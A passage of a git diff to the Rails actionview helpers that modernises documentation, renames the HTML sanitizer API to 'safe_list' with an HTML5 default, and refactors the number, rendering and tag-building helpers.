       private
-
         def delegate_number_helper_method(method, number, options)
           return unless number
           options = escape_unsafe_options(options.symbolize_keys)
@@ -417,9 +147,9 @@ def escape_unsafe_options(options)
         end
 
         def escape_units(units)
-          Hash[units.map do |k, v|
-            [k, ERB::Util.html_escape(v)]
-          end]
+          units.transform_values do |v|
+            ERB::Util.html_escape(v)
+          end
         end
 
         def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
@@ -440,9 +170,9 @@ def valid_float?(number)
         end
 
         def parse_float(number, raise_error)
-          Float(number)
-        rescue ArgumentError, TypeError
-          raise InvalidNumberError, number if raise_error
+          result = Float(number, exception: false)
+          raise InvalidNumberError, number if result.nil? && raise_error
+          result
         end
     end
   end
diff --git a/actionview/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb
index 25defd12766a1..6f6314e6cbc39 100644
--- a/actionview/lib/action_view/helpers/output_safety_helper.rb
+++ b/actionview/lib/action_view/helpers/output_safety_helper.rb
@@ -1,18 +1,20 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/output_safety"
 
-module ActionView #:nodoc:
-  # = Action View Raw Output Helper
-  module Helpers #:nodoc:
+module ActionView # :nodoc:
+  module Helpers # :nodoc:
+    # = Action View Raw Output \Helpers
     module OutputSafetyHelper
       # This method outputs without escaping a string. Since escaping tags is
-      # now default, this can be used when you don't want Rails to automatically
+      # now default, this can be used when you don't want \Rails to automatically
       # escape tags. This is not recommended if the data is coming from the user's
       # input.
       #
       # For example:
       #
-      #  raw @user.name
-      #  # => 'Jimmy <alert>Tables</alert>'
+      #   raw @user.name
+      #   # => 'Jimmy <alert>Tables</alert>'
       def raw(stringish)
         stringish.to_s.html_safe
       end
@@ -22,11 +24,11 @@ def raw(stringish)
       # the supplied separator, are HTML escaped unless they are HTML
       # safe, and the returned string is marked as HTML safe.
       #
-      #   safe_join([raw("<p>foo</p>"), "<p>bar</p>"], "<br />")
-      #   # => "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;"
+      #   safe_join([tag.p("foo"), "<p>bar</p>"], "<br>")
+      #   # => "<p>foo</p>&lt;br&gt;&lt;p&gt;bar&lt;/p&gt;"
       #
-      #   safe_join([raw("<p>foo</p>"), raw("<p>bar</p>")], raw("<br />"))
-      #   # => "<p>foo</p><br /><p>bar</p>"
+      #   safe_join([tag.p("foo"), tag.p("bar")], tag.br)
+      #   # => "<p>foo</p><br><p>bar</p>"
       #
       def safe_join(array, sep = $,)
         sep = ERB::Util.unwrapped_html_escape(sep)
@@ -36,8 +38,7 @@ def safe_join(array, sep = $,)
 
       # Converts the array to a comma-separated sentence where the last element is
       # joined by the connector word. This is the html_safe-aware version of
-      # ActiveSupport's {Array#to_sentence}[http://api.rubyonrails.org/classes/Array.html#method-i-to_sentence].
-      #
+      # ActiveSupport's Array#to_sentence.
       def to_sentence(array, options = {})
         options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
 
diff --git a/actionview/lib/action_view/helpers/record_tag_helper.rb b/actionview/lib/action_view/helpers/record_tag_helper.rb
deleted file mode 100644
index f7ee573035da5..0000000000000
--- a/actionview/lib/action_view/helpers/record_tag_helper.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActionView
-  module Helpers
-    module RecordTagHelper
-      def div_for(*)
-        raise NoMethodError, "The `div_for` method has been removed from " \
-          "Rails. To continue using it, add the `record_tag_helper` gem to " \
-          "your Gemfile:\n" \
-          "  gem 'record_tag_helper', '~> 1.0'\n" \
-          "Consult the Rails upgrade guide for details."
-      end
-
-      def content_tag_for(*)
-        raise NoMethodError, "The `content_tag_for` method has been removed from " \
-          "Rails. To continue using it, add the `record_tag_helper` gem to " \
-          "your Gemfile:\n" \
-          "  gem 'record_tag_helper', '~> 1.0'\n" \
-          "Consult the Rails upgrade guide for details."
-      end
-    end
-  end
-end
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
index 7d7f2393ff648..ca886c87c90e0 100644
--- a/actionview/lib/action_view/helpers/rendering_helper.rb
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -1,88 +1,208 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionView
-  module Helpers
-    # = Action View Rendering
+  module Helpers # :nodoc:
+    # # Action View Rendering Helpers
     #
-    # Implements methods that allow rendering from a view context.
-    # In order to use this module, all you need is to implement
-    # view_renderer that returns an ActionView::Renderer object.
+    # Implements methods that allow rendering from a view context. In order to use
+    # this module, all you need is to implement view_renderer that returns an
+    # ActionView::Renderer object.
     module RenderingHelper
-      # Returns the result of a render that's dictated by the options hash. The primary options are:
-      #
-      # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
-      # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
-      # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
-      # * <tt>:text</tt> - Renders the text passed in out.
-      # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
-      #   type as <tt>text/plain</tt>.
-      # * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise
-      #   performs HTML escape on the string first. Setting the content type as
-      #   <tt>text/html</tt>.
-      # * <tt>:body</tt> - Renders the text passed in, and inherits the content
-      #   type of <tt>text/plain</tt> from <tt>ActionDispatch::Response</tt>
-      #   object.
-      #
-      # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
-      # as the locals hash.
+      # Renders a template and returns the result.
+      #
+      # Pass the template to render as the first argument. This is shorthand
+      # syntax for partial rendering, so the template filename should be
+      # prefixed with an underscore. The partial renderer looks for the partial
+      # template in the directory of the calling template first.
+      #
+      #     <% # app/views/posts/new.html.erb %>
+      #     <%= render "form" %>
+      #     # => renders app/views/posts/_form.html.erb
+      #
+      # Use the complete view path to render a partial from another directory.
+      #
+      #     <% # app/views/posts/show.html.erb %>
+      #     <%= render "comments/form" %>
+      #     # => renders app/views/comments/_form.html.erb
+      #
+      # Without the rendering mode, the second argument can be a Hash of local
+      # variable assignments for the template.
+      #
+      #     <% # app/views/posts/new.html.erb %>
+      #     <%= render "form", post: Post.new %>
+      #     # => renders app/views/posts/_form.html.erb
+      #
+      # If the first argument responds to `render_in`, the template will be rendered
+      # by calling `render_in` with the current view context.
+      #
+      #     class Greeting
+      #       def render_in(view_context)
+      #         view_context.render html: "<h1>Hello, World</h1>"
+      #       end
+      #
+      #       def format
+      #         :html
+      #       end
+      #     end
+      #
+      #     <%= render Greeting.new %>
+      #     # => "<h1>Hello, World</h1>"
+      #
+      # #### Rendering Mode
+      #
+      # Pass the rendering mode as first argument to override it.
+      #
+      # `:partial`
+      # :   See ActionView::PartialRenderer for details.
+      #
+      #         <%= render partial: "form", locals: { post: Post.new } %>
+      #         # => renders app/views/posts/_form.html.erb
+      #
+      # `:file`
+      # :   Renders the contents of a file. This option should **not** be used with
+      #     unsanitized user input.
+      #
+      #         <%= render file: "/path/to/some/file" %>
+      #         # => renders /path/to/some/file
+      #
+      # `:inline`
+      # :   Renders an ERB template string.
+      #
+      #         <% name = "World" %>
+      #         <%= render inline: "<h1>Hello, <%= name %>!</h1>" %>
+      #         # => renders "<h1>Hello, World!</h1>"
+      #
+      # `:body`
+      # :   Renders the provided text, and sets the format as `:text`.
+      #
+      #         <%= render body: "Hello, World!" %>
+      #         # => renders "Hello, World!"
+      #
+      # `:plain`
+      # :   Renders the provided text, and sets the format as `:text`.
+      #
+      #         <%= render plain: "Hello, World!" %>
+      #         # => renders "Hello, World!"
+      #
+      # `:html`
+      # :   Renders the provided HTML string, and sets the format as
+      #     `:html`. If the string is not `html_safe?`, performs HTML escaping on
+      #     the string before rendering.
+      #
+      #         <%= render html: "<h1>Hello, World!</h1>".html_safe %>
+      #         # => renders "<h1>Hello, World!</h1>"
+      #
+      #         <%= render html: "<h1>Hello, World!</h1>" %>
+      #         # => renders "&lt;h1&gt;Hello, World!&lt;/h1&gt;"
+      #
+      # `:renderable`
+      # :   Renders the provided object by calling `render_in` with the current view
+      #     context. The format is determined by calling `format` on the
+      #     renderable if it responds to `format`, falling back to `:html` by
+      #     default.
+      #
+      #         <%= render renderable: Greeting.new %>
+      #         # => renders "<h1>Hello, World</h1>"
+      #
+      #
+      # #### Options
+      #
+      # `:locals`
+      # :   Hash of local variable assignments for the template.
+      #
+      #         <%= render inline: "<h1>Hello, <%= name %>!</h1>", locals: { name: "World" } %>
+      #         # => renders "<h1>Hello, World!</h1>"
+      #
+      # `:formats`
+      # :   Override the current format to render a template for a different format.
+      #
+      #         <% # app/views/posts/show.html.erb %>
+      #         <%= render template: "posts/content", formats: [:text] %>
+      #         # => renders app/views/posts/content.text.erb
+      #
+      # `:variants`
+      # :   Render a template for a different variant.
+      #
+      #         <% # app/views/posts/show.html.erb %>
+      #         <%= render template: "posts/content", variants: [:tablet] %>
+      #         # => renders app/views/posts/content.html+tablet.erb
+      #
+      # `:handlers`
+      # :   Render a template for a different handler.
+      #
+      #         <% # app/views/posts/show.html.erb %>
+      #         <%= render template: "posts/content", handlers: [:builder] %>
+      #         # => renders app/views/posts/content.html.builder
       def render(options = {}, locals = {}, &block)
         case options
         when Hash
-          if block_given?
-            view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block)
-          else
-            view_renderer.render(self, options)
+          in_rendering_context(options) do |renderer|
+            if block_given?
+              view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block)
+            else
+              view_renderer.render(self, options)
+            end
           end
         else
-          view_renderer.render_partial(self, partial: options, locals: locals, &block)
+          if options.respond_to?(:render_in)
+            options.render_in(self, &block)
+          else
+            view_renderer.render_partial(self, partial: options, locals: locals, &block)
+          end
         end
       end
 
-      # Overwrites _layout_for in the context object so it supports the case a block is
-      # passed to a partial. Returns the contents that are yielded to a layout, given a
-      # name or a block.
+      # Overrides _layout_for in the context object so it supports the case a block is
+      # passed to a partial. Returns the contents that are yielded to a layout, given
+      # a name or a block.
       #
-      # You can think of a layout as a method that is called with a block. If the user calls
-      # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
-      # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
+      # You can think of a layout as a method that is called with a block. If the user
+      # calls `yield :some_name`, the block, by default, returns
+      # `content_for(:some_name)`. If the user calls simply `yield`, the default block
+      # returns `content_for(:layout)`.
       #
       # The user can override this default by passing a block to the layout:
       #
-      #   # The template
-      #   <%= render layout: "my_layout" do %>
-      #     Content
-      #   <% end %>
+      #     # The template
+      #     <%= render layout: "my_layout" do %>
+      #       Content
+      #     <% end %>
       #
-      #   # The layout
-      #   <html>
-      #     <%= yield %>
-      #   </html>
+      #     # The layout
+      #     <html>
+      #       <%= yield %>
+      #     </html>
       #
-      # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
-      # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
+      # In this case, instead of the default block, which would return `content_for(:layout)`,
+      # this method returns the block that was passed in to `render :layout`, and the response
       # would be
       #
-      #   <html>
-      #     Content
-      #   </html>
+      #     <html>
+      #       Content
+      #     </html>
       #
-      # Finally, the block can take block arguments, which can be passed in by +yield+:
+      # Finally, the block can take block arguments, which can be passed in by
+      # `yield`:
       #
-      #   # The template
-      #   <%= render layout: "my_layout" do |customer| %>
-      #     Hello <%= customer.name %>
-      #   <% end %>
+      #     # The template
+      #     <%= render layout: "my_layout" do |customer| %>
+      #       Hello <%= customer.name %>
+      #     <% end %>
       #
-      #   # The layout
-      #   <html>
-      #     <%= yield Struct.new(:name).new("David") %>
-      #   </html>
+      #     # The layout
+      #     <html>
+      #       <%= yield Struct.new(:name).new("David") %>
+      #     </html>
       #
-      # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
+      # In this case, the layout would receive the block passed into `render :layout`,
       # and the struct specified would be passed into the block as an argument. The result
       # would be
       #
-      #   <html>
-      #     Hello David
-      #   </html>
+      #     <html>
+      #       Hello David
+      #     </html>
       #
       def _layout_for(*args, &block)
         name = args.first
diff --git a/actionview/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb
index 1e9b813d3d9d7..da3f4934ea3cf 100644
--- a/actionview/lib/action_view/helpers/sanitize_helper.rb
+++ b/actionview/lib/action_view/helpers/sanitize_helper.rb
@@ -1,50 +1,65 @@
-require "active_support/core_ext/object/try"
+# frozen_string_literal: true
+
 require "rails-html-sanitizer"
 
 module ActionView
-  # = Action View Sanitize Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Sanitize \Helpers
+    #
     # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
     # These helper methods extend Action View making them callable within your template files.
     module SanitizeHelper
+      mattr_accessor :sanitizer_vendor, default: Rails::HTML4::Sanitizer
+
       extend ActiveSupport::Concern
-      # Sanitizes HTML input, stripping all tags and attributes that aren't whitelisted.
+
+      # Sanitizes HTML input, stripping all but known-safe tags and attributes.
       #
-      # It also strips href/src attributes with unsafe protocols like
-      # <tt>javascript:</tt>, while also protecting against attempts to use Unicode,
-      # ASCII, and hex character references to work around these protocol filters.
+      # It also strips +href+ / +src+ attributes with unsafe protocols like +javascript:+, while
+      # also protecting against attempts to use Unicode, ASCII, and hex character references to work
+      # around these protocol filters.
       #
-      # The default sanitizer is Rails::Html::WhiteListSanitizer. See {Rails HTML
+      # The default sanitizer is +Rails::HTML5::SafeListSanitizer+. See {Rails HTML
       # Sanitizers}[https://github.com/rails/rails-html-sanitizer] for more information.
       #
       # Custom sanitization rules can also be provided.
       #
+      # <b>Warning</b>: Adding disallowed tags or attributes to the allowlists may introduce
+      # vulnerabilities into your application. Please rely on the default allowlists whenever
+      # possible, because they are curated to maintain security and safety. If you think that the
+      # default allowlists should be expanded, please {open an issue on the rails-html-sanitizer
+      # project}[https://github.com/rails/rails-html-sanitizer/issues].
+      #
       # Please note that sanitizing user-provided text does not guarantee that the
-      # resulting markup is valid or even well-formed. For example, the output may still
-      # contain unescaped characters like <tt><</tt>, <tt>></tt>, or <tt>&</tt>.
+      # resulting markup is valid or even well-formed.
       #
       # ==== Options
       #
-      # * <tt>:tags</tt> - An array of allowed tags.
-      # * <tt>:attributes</tt> - An array of allowed attributes.
-      # * <tt>:scrubber</tt> - A {Rails::Html scrubber}[https://github.com/rails/rails-html-sanitizer]
+      # [+:tags+]
+      #   An array of allowed tags.
+      #
+      # [+:attributes+]
+      #   An array of allowed attributes.
+      #
+      # [+:scrubber+]
+      #   A {Rails::HTML scrubber}[https://github.com/rails/rails-html-sanitizer]
       #   or {Loofah::Scrubber}[https://github.com/flavorjones/loofah] object that
       #   defines custom sanitization rules. A custom scrubber takes precedence over
       #   custom tags and attributes.
       #
       # ==== Examples
       #
-      # Normal use:
+      # ===== Normal use
       #
       #   <%= sanitize @comment.body %>
       #
-      # Providing custom whitelisted tags and attributes:
+      # ===== Providing custom lists of permitted tags and attributes
       #
       #   <%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %>
       #
-      # Providing a custom Rails::Html scrubber:
+      # ===== Providing a custom +Rails::HTML+ scrubber
       #
-      #   class CommentScrubber < Rails::Html::PermitScrubber
+      #   class CommentScrubber < Rails::HTML::PermitScrubber
       #     def initialize
       #       super
       #       self.tags = %w( form script comment blockquote )
@@ -56,37 +71,59 @@ module SanitizeHelper
       #     end
       #   end
       #
+      # <code></code>
+      #
       #   <%= sanitize @comment.body, scrubber: CommentScrubber.new %>
       #
       # See {Rails HTML Sanitizer}[https://github.com/rails/rails-html-sanitizer] for
-      # documentation about Rails::Html scrubbers.
+      # documentation about +Rails::HTML+ scrubbers.
       #
-      # Providing a custom Loofah::Scrubber:
+      # ===== Providing a custom +Loofah::Scrubber+
       #
       #   scrubber = Loofah::Scrubber.new do |node|
       #     node.remove if node.name == 'script'
       #   end
       #
+      # <code></code>
+      #
       #   <%= sanitize @comment.body, scrubber: scrubber %>
       #
       # See {Loofah's documentation}[https://github.com/flavorjones/loofah] for more
-      # information about defining custom Loofah::Scrubber objects.
+      # information about defining custom +Loofah::Scrubber+ objects.
+      #
+      # ==== Global Configuration
       #
       # To set the default allowed tags or attributes across your application:
       #
       #   # In config/application.rb
       #   config.action_view.sanitized_allowed_tags = ['strong', 'em', 'a']
       #   config.action_view.sanitized_allowed_attributes = ['href', 'title']
+      #
+      # The default, starting in \Rails 7.1, is to use an HTML5 parser for sanitization (if it is
+      # available, see NOTE below). If you wish to revert back to the previous HTML4 behavior, you
+      # can do so by setting the following in your application configuration:
+      #
+      #   # In config/application.rb
+      #   config.action_view.sanitizer_vendor = Rails::HTML4::Sanitizer
+      #
+      # Or, if you're upgrading from a previous version of \Rails and wish to opt into the HTML5
+      # behavior:
+      #
+      #   # In config/application.rb
+      #   config.action_view.sanitizer_vendor = Rails::HTML5::Sanitizer
+      #
+      # NOTE: +Rails::HTML5::Sanitizer+ is not supported on JRuby, so on JRuby platforms \Rails will
+      # fall back to using +Rails::HTML4::Sanitizer+.
       def sanitize(html, options = {})
-        self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
+        self.class.safe_list_sanitizer.sanitize(html, options)&.html_safe
       end
 
-      # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
+      # Sanitizes a block of CSS code. Used by #sanitize when it comes across a style attribute.
       def sanitize_css(style)
-        self.class.white_list_sanitizer.sanitize_css(style)
+        self.class.safe_list_sanitizer.sanitize_css(style)
       end
 
-      # Strips all HTML tags from +html+, including comments.
+      # Strips all HTML tags from +html+, including comments and special characters.
       #
       #   strip_tags("Strip <i>these</i> tags!")
       #   # => Strip these tags!
@@ -96,8 +133,11 @@ def sanitize_css(style)
       #
       #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
       #   # => Welcome to my website!
+      #
+      #   strip_tags("> A quote from Smith & Wesson")
+      #   # => &gt; A quote from Smith &amp; Wesson
       def strip_tags(html)
-        self.class.full_sanitizer.sanitize(html, encode_special_chars: false)
+        self.class.full_sanitizer.sanitize(html)&.html_safe
       end
 
       # Strips all link tags from +html+ leaving just the link text.
@@ -110,58 +150,56 @@ def strip_tags(html)
       #
       #   strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
       #   # => Blog: Visit.
+      #
+      #   strip_links('<<a href="https://example.org">malformed & link</a>')
+      #   # => &lt;malformed &amp; link
       def strip_links(html)
         self.class.link_sanitizer.sanitize(html)
       end
 
-      module ClassMethods #:nodoc:
-        attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
+      module ClassMethods # :nodoc:
+        attr_writer :full_sanitizer, :link_sanitizer, :safe_list_sanitizer
 
-        # Vendors the full, link and white list sanitizers.
-        # Provided strictly for compatibility and can be removed in Rails 5.1.
         def sanitizer_vendor
-          Rails::Html::Sanitizer
+          ActionView::Helpers::SanitizeHelper.sanitizer_vendor
         end
 
         def sanitized_allowed_tags
-          sanitizer_vendor.white_list_sanitizer.allowed_tags
+          sanitizer_vendor.safe_list_sanitizer.allowed_tags
         end
 
         def sanitized_allowed_attributes
-          sanitizer_vendor.white_list_sanitizer.allowed_attributes
+          sanitizer_vendor.safe_list_sanitizer.allowed_attributes
         end
 
-        # Gets the Rails::Html::FullSanitizer instance used by +strip_tags+. Replace with
+        # Gets the Rails::HTML::FullSanitizer instance used by +strip_tags+. Replace with
         # any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
         #     config.action_view.full_sanitizer = MySpecialSanitizer.new
         #   end
-        #
         def full_sanitizer
           @full_sanitizer ||= sanitizer_vendor.full_sanitizer.new
         end
 
-        # Gets the Rails::Html::LinkSanitizer instance used by +strip_links+.
+        # Gets the Rails::HTML::LinkSanitizer instance used by +strip_links+.
         # Replace with any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
         #     config.action_view.link_sanitizer = MySpecialSanitizer.new
         #   end
-        #
         def link_sanitizer
           @link_sanitizer ||= sanitizer_vendor.link_sanitizer.new
         end
 
-        # Gets the Rails::Html::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+        # Gets the Rails::HTML::SafeListSanitizer instance used by sanitize and +sanitize_css+.
         # Replace with any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
-        #     config.action_view.white_list_sanitizer = MySpecialSanitizer.new
+        #     config.action_view.safe_list_sanitizer = MySpecialSanitizer.new
         #   end
-        #
-        def white_list_sanitizer
-          @white_list_sanitizer ||= sanitizer_vendor.white_list_sanitizer.new
+        def safe_list_sanitizer
+          @safe_list_sanitizer ||= sanitizer_vendor.safe_list_sanitizer.new
         end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
index 306b71c85e8aa..5d57eee6aedd6 100644
--- a/actionview/lib/action_view/helpers/tag_helper.rb
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -1,73 +1,267 @@
-# frozen-string-literal: true
+# frozen_string_literal: true
 
+require "active_support/code_generator"
+require "active_support/core_ext/enumerable"
 require "active_support/core_ext/string/output_safety"
-require "set"
+require "active_support/core_ext/string/inflections"
+require "action_view/helpers/capture_helper"
+require "action_view/helpers/output_safety_helper"
 
 module ActionView
-  # = Action View Tag Helpers
-  module Helpers #:nodoc:
+  module Helpers # :nodoc:
+    # = Action View Tag \Helpers
+    #
     # Provides methods to generate HTML tags programmatically both as a modern
     # HTML5 compliant builder style and legacy XHTML compliant tags.
     module TagHelper
-      extend ActiveSupport::Concern
       include CaptureHelper
       include OutputSafetyHelper
 
-      BOOLEAN_ATTRIBUTES = %w(allowfullscreen async autofocus autoplay checked
-                              compact controls declare default defaultchecked
-                              defaultmuted defaultselected defer disabled
-                              enabled formnovalidate hidden indeterminate inert
-                              ismap itemscope loop multiple muted nohref
-                              noresize noshade novalidate nowrap open
-                              pauseonexit readonly required reversed scoped
-                              seamless selected sortable truespeed typemustmatch
-                              visible).to_set
+      BOOLEAN_ATTRIBUTES = %w(allowfullscreen allowpaymentrequest async autofocus
+                              autoplay checked compact controls declare default
+                              defaultchecked defaultmuted defaultselected defer
+                              disabled enabled formnovalidate hidden indeterminate
+                              inert ismap itemscope loop multiple muted nohref
+                              nomodule noresize noshade novalidate nowrap open
+                              pauseonexit playsinline readonly required reversed
+                              scoped seamless selected sortable truespeed
+                              typemustmatch visible).to_set
 
       BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
+      BOOLEAN_ATTRIBUTES.freeze
 
-      TAG_PREFIXES = ["aria", "data", :aria, :data].to_set
+      ARIA_PREFIXES = ["aria", :aria].to_set.freeze
+      DATA_PREFIXES = ["data", :data].to_set.freeze
+
+      TAG_TYPES = {}
+      TAG_TYPES.merge! BOOLEAN_ATTRIBUTES.index_with(:boolean)
+      TAG_TYPES.merge! DATA_PREFIXES.index_with(:data)
+      TAG_TYPES.merge! ARIA_PREFIXES.index_with(:aria)
+      TAG_TYPES.freeze
 
       PRE_CONTENT_STRINGS             = Hash.new { "" }
       PRE_CONTENT_STRINGS[:textarea]  = "\n"
       PRE_CONTENT_STRINGS["textarea"] = "\n"
 
-      class TagBuilder #:nodoc:
-        include CaptureHelper
-        include OutputSafetyHelper
+      class TagBuilder # :nodoc:
+        def self.define_element(name, code_generator:, method_name: name)
+          return if method_defined?(name)
 
-        VOID_ELEMENTS = %i(area base br col embed hr img input keygen link meta param source track wbr).to_set
+          code_generator.class_eval do |batch|
+            batch << "\n" <<
+              "def #{method_name}(content = nil, escape: true, **options, &block)" <<
+              "  tag_string(#{name.inspect}, content, options, escape: escape, &block)" <<
+              "end"
+          end
+        end
+
+        def self.define_void_element(name, code_generator:, method_name: name)
+          code_generator.class_eval do |batch|
+            batch << "\n" <<
+              "def #{method_name}(escape: true, **options, &block)" <<
+              "  self_closing_tag_string(#{name.inspect}, options, escape, '>')" <<
+              "end"
+          end
+        end
+
+        def self.define_self_closing_element(name, code_generator:, method_name: name)
+          code_generator.class_eval do |batch|
+            batch << "\n" <<
+              "def #{method_name}(content = nil, escape: true, **options, &block)" <<
+              "  if content || block" <<
+              "    tag_string(#{name.inspect}, content, options, escape: escape, &block)" <<
+              "  else" <<
+              "   self_closing_tag_string(#{name.inspect}, options, escape)" <<
+              "  end" <<
+              "end"
+          end
+        end
+
+        ActiveSupport::CodeGenerator.batch(self, __FILE__, __LINE__) do |code_generator|
+          define_void_element :area, code_generator: code_generator
+          define_void_element :base, code_generator: code_generator
+          define_void_element :br, code_generator: code_generator
+          define_void_element :col, code_generator: code_generator
+          define_void_element :embed, code_generator: code_generator
+          define_void_element :hr, code_generator: code_generator
+          define_void_element :img, code_generator: code_generator
+          define_void_element :input, code_generator: code_generator
+          define_void_element :keygen, code_generator: code_generator
+          define_void_element :link, code_generator: code_generator
+          define_void_element :meta, code_generator: code_generator
+          define_void_element :source, code_generator: code_generator
+          define_void_element :track, code_generator: code_generator
+          define_void_element :wbr, code_generator: code_generator
+
+          define_self_closing_element :animate, code_generator: code_generator
+          define_self_closing_element :animateMotion, code_generator: code_generator, method_name: :animate_motion
+          define_self_closing_element :animateTransform, code_generator: code_generator, method_name: :animate_transform
+          define_self_closing_element :circle, code_generator: code_generator
+          define_self_closing_element :ellipse, code_generator: code_generator
+          define_self_closing_element :line, code_generator: code_generator
+          define_self_closing_element :path, code_generator: code_generator
+          define_self_closing_element :polygon, code_generator: code_generator
+          define_self_closing_element :polyline, code_generator: code_generator
+          define_self_closing_element :rect, code_generator: code_generator
+          define_self_closing_element :set, code_generator: code_generator
+          define_self_closing_element :stop, code_generator: code_generator
+          define_self_closing_element :use, code_generator: code_generator
+          define_self_closing_element :view, code_generator: code_generator
+
+          define_element :a, code_generator: code_generator
+          define_element :abbr, code_generator: code_generator
+          define_element :address, code_generator: code_generator
+          define_element :article, code_generator: code_generator
+          define_element :aside, code_generator: code_generator
+          define_element :audio, code_generator: code_generator
+          define_element :b, code_generator: code_generator
+          define_element :bdi, code_generator: code_generator
+          define_element :bdo, code_generator: code_generator
+          define_element :blockquote, code_generator: code_generator
+          define_element :body, code_generator: code_generator
+          define_element :button, code_generator: code_generator
+          define_element :canvas, code_generator: code_generator
+          define_element :caption, code_generator: code_generator
+          define_element :cite, code_generator: code_generator
+          define_element :code, code_generator: code_generator
+          define_element :colgroup, code_generator: code_generator
+          define_element :data, code_generator: code_generator
+          define_element :datalist, code_generator: code_generator
+          define_element :dd, code_generator: code_generator
+          define_element :del, code_generator: code_generator
+          define_element :details, code_generator: code_generator
+          define_element :dfn, code_generator: code_generator
+          define_element :dialog, code_generator: code_generator
+          define_element :div, code_generator: code_generator
+          define_element :dl, code_generator: code_generator
+          define_element :dt, code_generator: code_generator
+          define_element :em, code_generator: code_generator
+          define_element :fieldset, code_generator: code_generator
+          define_element :figcaption, code_generator: code_generator
+          define_element :figure, code_generator: code_generator
+          define_element :footer, code_generator: code_generator
+          define_element :form, code_generator: code_generator
+          define_element :h1, code_generator: code_generator
+          define_element :h2, code_generator: code_generator
+          define_element :h3, code_generator: code_generator
+          define_element :h4, code_generator: code_generator
+          define_element :h5, code_generator: code_generator
+          define_element :h6, code_generator: code_generator
+          define_element :head, code_generator: code_generator
+          define_element :header, code_generator: code_generator
+          define_element :hgroup, code_generator: code_generator
+          define_element :html, code_generator: code_generator
+          define_element :i, code_generator: code_generator
+          define_element :iframe, code_generator: code_generator
+          define_element :ins, code_generator: code_generator
+          define_element :kbd, code_generator: code_generator
+          define_element :label, code_generator: code_generator
+          define_element :legend, code_generator: code_generator
+          define_element :li, code_generator: code_generator
+          define_element :main, code_generator: code_generator
+          define_element :map, code_generator: code_generator
+          define_element :mark, code_generator: code_generator
+          define_element :menu, code_generator: code_generator
+          define_element :meter, code_generator: code_generator
+          define_element :nav, code_generator: code_generator
+          define_element :noscript, code_generator: code_generator
+          define_element :object, code_generator: code_generator
+          define_element :ol, code_generator: code_generator
+          define_element :optgroup, code_generator: code_generator
+          define_element :option, code_generator: code_generator
+          define_element :output, code_generator: code_generator
+          define_element :p, code_generator: code_generator
+          define_element :picture, code_generator: code_generator
+          define_element :portal, code_generator: code_generator
+          define_element :pre, code_generator: code_generator
+          define_element :progress, code_generator: code_generator
+          define_element :q, code_generator: code_generator
+          define_element :rp, code_generator: code_generator
+          define_element :rt, code_generator: code_generator
+          define_element :ruby, code_generator: code_generator
+          define_element :s, code_generator: code_generator
+          define_element :samp, code_generator: code_generator
+          define_element :script, code_generator: code_generator
+          define_element :search, code_generator: code_generator
+          define_element :section, code_generator: code_generator
+          define_element :select, code_generator: code_generator
+          define_element :slot, code_generator: code_generator
+          define_element :small, code_generator: code_generator
+          define_element :span, code_generator: code_generator
+          define_element :strong, code_generator: code_generator
+          define_element :style, code_generator: code_generator
+          define_element :sub, code_generator: code_generator
+          define_element :summary, code_generator: code_generator
+          define_element :sup, code_generator: code_generator
+          define_element :table, code_generator: code_generator
+          define_element :tbody, code_generator: code_generator
+          define_element :td, code_generator: code_generator
+          define_element :template, code_generator: code_generator
+          define_element :textarea, code_generator: code_generator
+          define_element :tfoot, code_generator: code_generator
+          define_element :th, code_generator: code_generator
+          define_element :thead, code_generator: code_generator
+          define_element :time, code_generator: code_generator
+          define_element :title, code_generator: code_generator
+          define_element :tr, code_generator: code_generator
+          define_element :u, code_generator: code_generator
+          define_element :ul, code_generator: code_generator
+          define_element :var, code_generator: code_generator
+          define_element :video, code_generator: code_generator
+        end
 
         def initialize(view_context)
           @view_context = view_context
         end
 
-        def tag_string(name, content = nil, escape_attributes: true, **options, &block)
-          content = @view_context.capture(self, &block) if block_given?
-          if VOID_ELEMENTS.include?(name) && content.nil?
-            "<#{name.to_s.dasherize}#{tag_options(options, escape_attributes)}>".html_safe
-          else
